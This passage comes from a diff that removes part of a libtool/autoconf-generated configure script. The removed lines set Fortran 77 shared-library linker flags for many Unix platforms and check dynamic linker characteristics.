- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_F77=''
- hardcode_direct_F77=yes
- hardcode_libdir_separator_F77=':'
- link_all_deplibs_F77=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_F77=yes
- else
- # We have old collect2
- hardcode_direct_F77=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_F77=yes
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_libdir_separator_F77=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_F77=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_F77='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds_F77="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_F77='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_F77="-z nodefs"
- archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_F77=' ${wl}-bernotok'
- allow_undefined_flag_F77=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_F77='$convenience'
- archive_cmds_need_lc_F77=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs_F77=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec_F77=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec_F77=' '
- allow_undefined_flag_F77=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds_F77='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds_F77='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds_F77='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path_F77='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes_F77=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_F77='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_F77='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_F77=no
- hardcode_direct_F77=no
- hardcode_automatic_F77=yes
- hardcode_shlibpath_var_F77=unsupported
- whole_archive_flag_spec_F77=''
- link_all_deplibs_F77=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds_F77='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_F77='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_F77=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_shlibpath_var_F77=no
- ;;
-
- freebsd1*)
- ld_shlibs_F77=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes
- hardcode_minus_L_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds_F77='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds_F77='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds_F77='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- hardcode_direct_F77=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
-
- hardcode_direct_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_F77='+b $libdir'
- hardcode_direct_F77=no
- hardcode_shlibpath_var_F77=no
- ;;
- *)
- hardcode_direct_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_F77='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld_F77='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- link_all_deplibs_F77=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds_F77='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- newsos6)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- hardcode_shlibpath_var_F77=no
- ;;
-
- openbsd*)
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_F77='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- ;;
- *)
- archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
- allow_undefined_flag_F77=unsupported
- archive_cmds_F77='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds_F77='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag_F77=' -expect_unresolved \*'
- archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag_F77=' -expect_unresolved \*'
- archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_F77='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec_F77='-rpath $libdir'
- fi
- hardcode_libdir_separator_F77=:
- ;;
-
- solaris*)
- no_undefined_flag_F77=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds_F77='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds_F77='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_shlibpath_var_F77=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec_F77='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec_F77='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs_F77=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds_F77='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_direct_F77=yes
- hardcode_minus_L_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds_F77='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds_F77='$CC -r -o $output$reload_objs'
- hardcode_direct_F77=no
- ;;
- motorola)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var_F77=no
- ;;
-
- sysv4.3*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_F77=no
- export_dynamic_flag_spec_F77='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_F77=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs_F77=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag_F77='${wl}-z,text'
- archive_cmds_need_lc_F77=no
- hardcode_shlibpath_var_F77=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag_F77='${wl}-z,text'
- allow_undefined_flag_F77='${wl}-z,nodefs'
- archive_cmds_need_lc_F77=no
- hardcode_shlibpath_var_F77=no
- hardcode_libdir_flag_spec_F77='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_F77=':'
- link_all_deplibs_F77=yes
- export_dynamic_flag_spec_F77='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_shlibpath_var_F77=no
- ;;
-
- *)
- ld_shlibs_F77=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_F77" >&5
-$as_echo "$ld_shlibs_F77" >&6; }
-test "$ld_shlibs_F77" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_F77" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_F77=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_F77 in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_F77
- pic_flag=$lt_prog_compiler_pic_F77
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_F77
- allow_undefined_flag_F77=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_F77=no
- else
- archive_cmds_need_lc_F77=yes
- fi
- allow_undefined_flag_F77=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_F77" >&5
-$as_echo "$archive_cmds_need_lc_F77" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
